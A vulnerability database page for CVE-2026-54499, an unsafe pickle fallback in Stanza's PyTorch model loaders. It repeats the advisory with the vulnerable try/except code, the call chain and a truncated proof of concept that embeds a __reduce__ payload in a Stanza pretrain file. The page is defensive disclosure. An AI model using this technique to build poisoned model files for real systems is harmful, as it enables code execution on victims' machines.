Every CVE Search/ Get API key

CVE-2026-54499

Stanza: Remote Code Execution via Unsafe Pickle Deserialization in Model Loaders

7.5 HighFix available

Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. Prior to 1.12.2, Stanza model loaders such as stanza.models.common.pretrain.Pretrain.load() attempt torch.load(..., weights_only=True) but fall back to torch.load(..., weights_only=False) on attacker-controllable pickle.UnpicklingError, allowing a malicious .pt pretrain or model file to execute arbitrary pickle code when a Stanza NLP pipeline loads it. This issue is fixed in version 1.12.2.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.52%Up 0.2 points since Jul 9, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.5

Stanza: Remote Code Execution via Unsafe Pickle Deserialization in Model Loaders

Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. Prior to 1.12.2, Stanza model loaders such as stanza.models.common.pretrain.Pretrain.load() attempt torch.load(..., weights_only=True) but fall back to torch.load(..., weights_only=False) on attacker-controllable pickle.UnpicklingError, allowing a malicious .pt pretrain or model file to execute arbitrary pickle code when a Stanza NLP pipeline loads it. This issue is fixed in version 1.12.2.

Record
CVE-2026-54499
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-502, CWE-676
Updated
2026-11-02
EUVDEUVD-2026-42474 7.5

Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. Prior to 1.12.2, Stanza model loaders such as stanza.models.common.pretrain.Pretrain.load() attempt torch.load(..., weights_only=True) but fall back to torch.load(..., weights_only=False) on attacker-controllable pickle.UnpicklingError, allowing a malicious .pt pretrain or model file to execute arbitrary pickle code when a Stanza NLP pipeline loads it. This issue is fixed in version 1.12.2.

Record
EUVD-2026-42474
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-v5jw-96jm-7h2c 7.5

Stanza: Remote Code Execution via Unsafe Pickle Deserialization in Model Loaders

Summary

Stanza 1.12.0 attempts to safely load PyTorch checkpoint files using torch.load(..., weights_only=True), but automatically falls back to the fully unsafe torch.load(..., weights_only=False) when the safe load raises pickle.UnpicklingError. Because the UnpicklingError condition is fully attacker-controllable, any .pt file that contains a single unsupported pickle global will trigger it.

An attacker who can place a malicious pretrain or model file on disk (via supply-chain compromise, a poisoned model repository, or a shared model cache) can achieve arbitrary code execution on any machine that loads a Stanza NLP pipeline.

Code execution occurs inside the Stanza pretrain-loading API, not merely by calling torch.load directly.

Details

The vulnerable code is in pretrain.py#L59-L67 (Stanza 1.12.0):

try:
    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)
except UnpicklingError:
    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=False)

When weights_only=True is passed, PyTorch's deserializer raises pickle.UnpicklingError for any object whose class or callable is not on the safe-globals allowlist. This is the intended safety mechanism. However, Stanza catches that exception and immediately reloads the same attacker-controlled file with weights_only=False, which invokes Python's full pickle deserializer and executes any __reduce__ method in the file without restriction.

The fallback is triggered reliably and intentionally: an attacker embeds one unsupported pickle global (e.g., builtins.open) anywhere in an otherwise structurally valid Stanza pretrain state dict. The safe load rejects it; the unsafe reload runs it.

The same try/except pattern exists in at least five additional loaders in Stanza 1.12.0:

| File | Lines | |------|-------| | stanza/models/common/pretrain.py | 64–66 | | stanza/models/coref/model.py | 251–253, 329–331 | | stanza/models/classifiers/trainer.py | 80–82 | | stanza/models/constituency/base_trainer.py | 94–96 |

Additionally, stanza/models/lemma_classifier/base_model.py:127 calls torch.load(filename, lambda storage, loc: storage) with no weights_only argument at all, which defaults to False on any PyTorch < 2.6.

The call chain from the public API to the vulnerable fallback is:

stanza.models.common.foundation_cache.load_pretrain(path)
  → FoundationCache.load_pretrain(path)
    → stanza.models.common.pretrain.Pretrain(filename)
      → Pretrain.emb  (property access triggers load)
        → Pretrain.load()
          → torch.load(..., weights_only=True)   # raises UnpicklingError
          → torch.load(..., weights_only=False)  # executes arbitrary pickle

PoC

Environment: Python 3.11, stanza==1.12.0, torch==2.12.0

Step 1: Install dependencies:

pip install stanza==1.12.0 torch==2.12.0

Step 2: Save the following as exploit.py:

import os
from pathlib import Path

import torch
import stanza
from stanza.models.common.foundation_cache import FoundationCache, load_pretrain
from stanza.models.common.vocab import VOCAB_PREFIX

SENTINEL = "/tmp/stanza_rce_proof"
MODEL    = "/tmp/stanza_malicious.pt"

class HarmlessPayload:
    """Demonstrates execution; writes a sentinel file."""
    def __init__(self, path):
        self.path = path
    def __reduce__(self):
        return (open, (self.path, "w"))

# Build a structurally valid Stanza pretrain state dict with the payload embedded.
words = VOCAB_PREFIX + ["hello"]
state = {
    "vocab": {
        "lang": "", "idx": 0, "cutoff": 0, "lower": False,
        "_id2unit": words,
        "_unit2id": {w: i for i, w in enumerate(words)},
    },
    "emb": torch.zeros((len(words), 2), dtype=torch.float32),
    "payload": HarmlessPayload(SENTINEL),   # ← the…
Record
GHSA-v5jw-96jm-7h2c
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-502, CWE-676
Updated
2026-11-02
NVD 7.5

Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. Prior to 1.12.2, Stanza model loaders such as stanza.models.common.pretrain.Pretrain.load() attempt torch.load(..., weights_only=True) but fall back to torch.load(..., weights_only=False) on attacker-controllable pickle.UnpicklingError, allowing a malicious .pt pretrain or model file to execute arbitrary pickle code when a Stanza NLP pipeline loads it. This issue is fixed in version 1.12.2.

Record
CVE-2026-54499
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-502, CWE-676
Updated
2026-11-02
OSV 7.5

Stanza: Remote Code Execution via Unsafe Pickle Deserialization in Model Loaders

Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. Prior to 1.12.2, Stanza model loaders such as stanza.models.common.pretrain.Pretrain.load() attempt torch.load(..., weights_only=True) but fall back to torch.load(..., weights_only=False) on attacker-controllable pickle.UnpicklingError, allowing a malicious .pt pretrain or model file to execute arbitrary pickle code when a Stanza NLP pipeline loads it. This issue is fixed in version 1.12.2.

Record
CVE-2026-54499
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-502, CWE-676
Updated
2026-11-02
OSVGHSA-v5jw-96jm-7h2c 7.5

Stanza: Remote Code Execution via Unsafe Pickle Deserialization in Model Loaders

Summary

Stanza 1.12.0 attempts to safely load PyTorch checkpoint files using torch.load(..., weights_only=True), but automatically falls back to the fully unsafe torch.load(..., weights_only=False) when the safe load raises pickle.UnpicklingError. Because the UnpicklingError condition is fully attacker-controllable, any .pt file that contains a single unsupported pickle global will trigger it.

An attacker who can place a malicious pretrain or model file on disk (via supply-chain compromise, a poisoned model repository, or a shared model cache) can achieve arbitrary code execution on any machine that loads a Stanza NLP pipeline.

Code execution occurs inside the Stanza pretrain-loading API, not merely by calling torch.load directly.

Details

The vulnerable code is in pretrain.py#L59-L67 (Stanza 1.12.0):

try:
    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)
except UnpicklingError:
    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=False)

When weights_only=True is passed, PyTorch's deserializer raises pickle.UnpicklingError for any object whose class or callable is not on the safe-globals allowlist. This is the intended safety mechanism. However, Stanza catches that exception and immediately reloads the same attacker-controlled file with weights_only=False, which invokes Python's full pickle deserializer and executes any __reduce__ method in the file without restriction.

The fallback is triggered reliably and intentionally: an attacker embeds one unsupported pickle global (e.g., builtins.open) anywhere in an otherwise structurally valid Stanza pretrain state dict. The safe load rejects it; the unsafe reload runs it.

The same try/except pattern exists in at least five additional loaders in Stanza 1.12.0:

| File | Lines | |------|-------| | stanza/models/common/pretrain.py | 64–66 | | stanza/models/coref/model.py | 251–253, 329–331 | | stanza/models/classifiers/trainer.py | 80–82 | | stanza/models/constituency/base_trainer.py | 94–96 |

Additionally, stanza/models/lemma_classifier/base_model.py:127 calls torch.load(filename, lambda storage, loc: storage) with no weights_only argument at all, which defaults to False on any PyTorch < 2.6.

The call chain from the public API to the vulnerable fallback is:

stanza.models.common.foundation_cache.load_pretrain(path)
  → FoundationCache.load_pretrain(path)
    → stanza.models.common.pretrain.Pretrain(filename)
      → Pretrain.emb  (property access triggers load)
        → Pretrain.load()
          → torch.load(..., weights_only=True)   # raises UnpicklingError
          → torch.load(..., weights_only=False)  # executes arbitrary pickle

PoC

Environment: Python 3.11, stanza==1.12.0, torch==2.12.0

Step 1: Install dependencies:

pip install stanza==1.12.0 torch==2.12.0

Step 2: Save the following as exploit.py:

import os
from pathlib import Path

import torch
import stanza
from stanza.models.common.foundation_cache import FoundationCache, load_pretrain
from stanza.models.common.vocab import VOCAB_PREFIX

SENTINEL = "/tmp/stanza_rce_proof"
MODEL    = "/tmp/stanza_malicious.pt"

class HarmlessPayload:
    """Demonstrates execution; writes a sentinel file."""
    def __init__(self, path):
        self.path = path
    def __reduce__(self):
        return (open, (self.path, "w"))

# Build a structurally valid Stanza pretrain state dict with the payload embedded.
words = VOCAB_PREFIX + ["hello"]
state = {
    "vocab": {
        "lang": "", "idx": 0, "cutoff": 0, "lower": False,
        "_id2unit": words,
        "_unit2id": {w: i for i, w in enumerate(words)},
    },
    "emb": torch.zeros((len(words), 2), dtype=torch.float32),
    "payload": HarmlessPayload(SENTINEL),   # ← the…
Record
GHSA-v5jw-96jm-7h2c
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-502, CWE-676
Updated
2026-11-02
OSVPYSEC-2026-3075 7.5

Stanza: Remote Code Execution via Unsafe Pickle Deserialization in Model Loaders

Summary

Stanza 1.12.0 attempts to safely load PyTorch checkpoint files using torch.load(..., weights_only=True), but automatically falls back to the fully unsafe torch.load(..., weights_only=False) when the safe load raises pickle.UnpicklingError. Because the UnpicklingError condition is fully attacker-controllable, any .pt file that contains a single unsupported pickle global will trigger it.

An attacker who can place a malicious pretrain or model file on disk (via supply-chain compromise, a poisoned model repository, or a shared model cache) can achieve arbitrary code execution on any machine that loads a Stanza NLP pipeline.

Code execution occurs inside the Stanza pretrain-loading API, not merely by calling torch.load directly.

Details

The vulnerable code is in pretrain.py#L59-L67 (Stanza 1.12.0):

try:
    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)
except UnpicklingError:
    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=False)

When weights_only=True is passed, PyTorch's deserializer raises pickle.UnpicklingError for any object whose class or callable is not on the safe-globals allowlist. This is the intended safety mechanism. However, Stanza catches that exception and immediately reloads the same attacker-controlled file with weights_only=False, which invokes Python's full pickle deserializer and executes any __reduce__ method in the file without restriction.

The fallback is triggered reliably and intentionally: an attacker embeds one unsupported pickle global (e.g., builtins.open) anywhere in an otherwise structurally valid Stanza pretrain state dict. The safe load rejects it; the unsafe reload runs it.

The same try/except pattern exists in at least five additional loaders in Stanza 1.12.0:

| File | Lines | |------|-------| | stanza/models/common/pretrain.py | 64–66 | | stanza/models/coref/model.py | 251–253, 329–331 | | stanza/models/classifiers/trainer.py | 80–82 | | stanza/models/constituency/base_trainer.py | 94–96 |

Additionally, stanza/models/lemma_classifier/base_model.py:127 calls torch.load(filename, lambda storage, loc: storage) with no weights_only argument at all, which defaults to False on any PyTorch < 2.6.

The call chain from the public API to the vulnerable fallback is:

stanza.models.common.foundation_cache.load_pretrain(path)
  → FoundationCache.load_pretrain(path)
    → stanza.models.common.pretrain.Pretrain(filename)
      → Pretrain.emb  (property access triggers load)
        → Pretrain.load()
          → torch.load(..., weights_only=True)   # raises UnpicklingError
          → torch.load(..., weights_only=False)  # executes arbitrary pickle

PoC

Environment: Python 3.11, stanza==1.12.0, torch==2.12.0

Step 1: Install dependencies:

pip install stanza==1.12.0 torch==2.12.0

Step 2: Save the following as exploit.py:

import os
from pathlib import Path

import torch
import stanza
from stanza.models.common.foundation_cache import FoundationCache, load_pretrain
from stanza.models.common.vocab import VOCAB_PREFIX

SENTINEL = "/tmp/stanza_rce_proof"
MODEL    = "/tmp/stanza_malicious.pt"

class HarmlessPayload:
    """Demonstrates execution; writes a sentinel file."""
    def __init__(self, path):
        self.path = path
    def __reduce__(self):
        return (open, (self.path, "w"))

# Build a structurally valid Stanza pretrain state dict with the payload embedded.
words = VOCAB_PREFIX + ["hello"]
state = {
    "vocab": {
        "lang": "", "idx": 0, "cutoff": 0, "lower": False,
        "_id2unit": words,
        "_unit2id": {w: i for i, w in enumerate(words)},
    },
    "emb": torch.zeros((len(words), 2), dtype=torch.float32),
    "payload": HarmlessPayload(SENTINEL),   # ← the…
Record
PYSEC-2026-3075
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
stanza
PyPI
through 1.12.1
1.12.2
stanza
PyPI
before 1.12.2, plus listed versions
0.31.0.01.0.0rc01.0.11.1.1
Show 25 moreShow less
1.10.01.10.11.11.01.11.11.12.01.12.11.21.2.11.2.21.2.31.3.01.4.01.4.11.4.21.5.01.5.11.6.01.6.11.7.01.8.01.8.11.8.21.9.01.9.11.9.2
1.12.2

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-54499 is a high vulnerability (CVSS 7.5) in Stanford Stanza, published June 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.52%, the 44th percentile. Fixed in stanza 1.12.2.

References

This page doesn't list everything

Left out here: the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open